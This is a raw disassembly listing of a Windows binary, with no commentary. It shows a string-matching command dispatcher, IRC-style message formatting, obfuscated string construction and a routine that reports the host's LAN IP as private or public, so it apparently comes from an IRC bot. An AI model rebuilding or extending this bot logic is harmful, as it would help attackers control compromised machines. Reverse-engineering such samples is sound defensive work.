		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017EE
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411991
		lea	ebx, [esi+11h]
		jmp	short loc_411993
; ---------------------------------------------------------------------------


loc_411991:				; CODE XREF: ___:0041198Aj
		xor	ebx, ebx


loc_411993:				; CODE XREF: ___:0041198Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017EE
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_4119EF
		lea	ebx, [esi+11h]
		jmp	short loc_4119F1
; ---------------------------------------------------------------------------


loc_4119EF:				; CODE XREF: ___:004119E8j
		xor	ebx, ebx


loc_4119F1:				; CODE XREF: ___:004119EDj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411A4A
		lea	ebx, [esi+11h]
		jmp	short loc_411A4C
; ---------------------------------------------------------------------------


loc_411A4A:				; CODE XREF: ___:00411A43j
		xor	ebx, ebx


loc_411A4C:				; CODE XREF: ___:00411A48j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017EE
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411AA5
		lea	ebx, [esi+11h]
		jmp	short loc_411AA7
; ---------------------------------------------------------------------------


loc_411AA5:				; CODE XREF: ___:00411A9Ej
		xor	ebx, ebx


loc_411AA7:				; CODE XREF: ___:00411AA3j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017EE
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411C00	proc near		; CODE XREF: sub_401ACDj

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411C00
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412129
		lea	ecx, [edi+26Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412129
		lea	ecx, [edi+0A1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_411D02
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		mov	edx, dword_4490C0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412152
; ---------------------------------------------------------------------------


loc_411D02:				; CODE XREF: sub_411C00+70j
		lea	ecx, [edi+187h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_411D79
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412152
; ---------------------------------------------------------------------------


loc_411D79:				; CODE XREF: sub_411C00+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_411E34
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018B1
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_412152
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_412152
; ---------------------------------------------------------------------------


loc_411E34:				; CODE XREF: sub_411C00+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_411EDD
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490C4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412152
; ---------------------------------------------------------------------------


loc_411EDD:				; CODE XREF: sub_411C00+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_411F4B
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017EE
		mov	edx, dword_4490F0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS_0	; "%s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412152
; ---------------------------------------------------------------------------


loc_411F4B:				; CODE XREF: sub_411C00+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_411FAD
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E47
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017EE
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aS_3	; "%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412152
; ---------------------------------------------------------------------------


loc_411FAD:				; CODE XREF: sub_411C00+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41204D
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_4014DD
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412152
; ---------------------------------------------------------------------------


loc_41204D:				; CODE XREF: sub_411C00+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412152
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016B8
		mov	ebx, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490F4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSSS	; "%s %s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_412152
; ---------------------------------------------------------------------------


loc_412129:				; CODE XREF: sub_411C00+3Aj
					; sub_411C00+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_44AC5E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401541


loc_412152:				; CODE XREF: sub_411C00+FDj
					; sub_411C00+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_411C00	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4122D0	proc near		; CODE XREF: sub_401D4Dj

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4122D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_40142E
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		call	near ptr byte_5F285B
		nop
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_448F30
		call	sub_4015E1
		push	offset aLan	; "lan:	"
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401AAF
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016C7
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401483
		add	esp, 4
		test	al, al
		jz	short loc_4123DB
		push	offset aPrivate	; "[PRIVATE]"
		jmp	short loc_4123E0
; ---------------------------------------------------------------------------


loc_4123DB:				; CODE XREF: sub_4122D0+102j
		push	offset aPublic	; "[PUBLIC]"


loc_4123E0:				; CODE XREF: sub_4122D0+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_4122D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412490	proc near		; CODE XREF: sub_40158Cj

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_4124EE
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_44AC5E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4124EE:				; CODE XREF: sub_412490+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_412490	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412520	proc near		; CODE XREF: sub_401E24j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_40158C
		add	esp, 2000h
		retn
sub_412520	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412590	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412590
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_4125C7
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_4125C7:				; CODE XREF: sub_412590+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_40142E
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_4125E8
		mov	eax, dword_4490C0
		push	eax
		jmp	short loc_4125EF
; ---------------------------------------------------------------------------


loc_4125E8:				; CODE XREF: sub_412590+4Ej
		mov	ecx, dword_4490C8
		push	ecx


loc_4125EF:				; CODE XREF: sub_412590+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015E1
		push	ebx
		lea	ecx, [esp+44h+var_24]
		call	sub_40142E
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_40158C
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_412590	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4126C0	proc near		; CODE XREF: sub_401857j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	sub_437B30
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		call	near ptr 77C3FF8Ah
		nop
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_4126C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412740	proc near		; CODE XREF: sub_401D20j
		push	esi
		mov	esi, ecx
		call	sub_401FD7
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412740	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412770	proc near		; CODE XREF: sub_401FD7j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_44AC5E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	esi
		retn
sub_412770	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4127B0	proc near		; CODE XREF: sub_40172Bj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_4127B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4127E0	proc near		; CODE XREF: sub_401B68j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401717
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
sub_4127E0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412830	proc near		; CODE XREF: ___:004019D3j sub_401A4Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C5
sub_412830	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_412848
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_412848:				; CODE XREF: ___:0041283Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412860	proc near		; CODE XREF: sub_4013C5j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F028
		mov	dword ptr [esi+11h], offset off_43F034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B68
sub_412860	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+10h], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+10h], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+10h], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+10h], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+10h], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+10h], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+10h], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+10h], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412A20	proc near		; CODE XREF: sub_4010BEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412A20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_402072
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_412A20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412AA0:				; CODE XREF: ___:loc_40115Ej
					; ___:004016F4j
		push	esi
		mov	esi, ecx
		call	sub_40101E
		test	byte ptr [esp+8], 1
		jz	short loc_412AB8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_412AB8:				; CODE XREF: ___:00412AADj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412AD0	proc near		; CODE XREF: sub_40101Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412AD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F038
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401979
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_412AD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
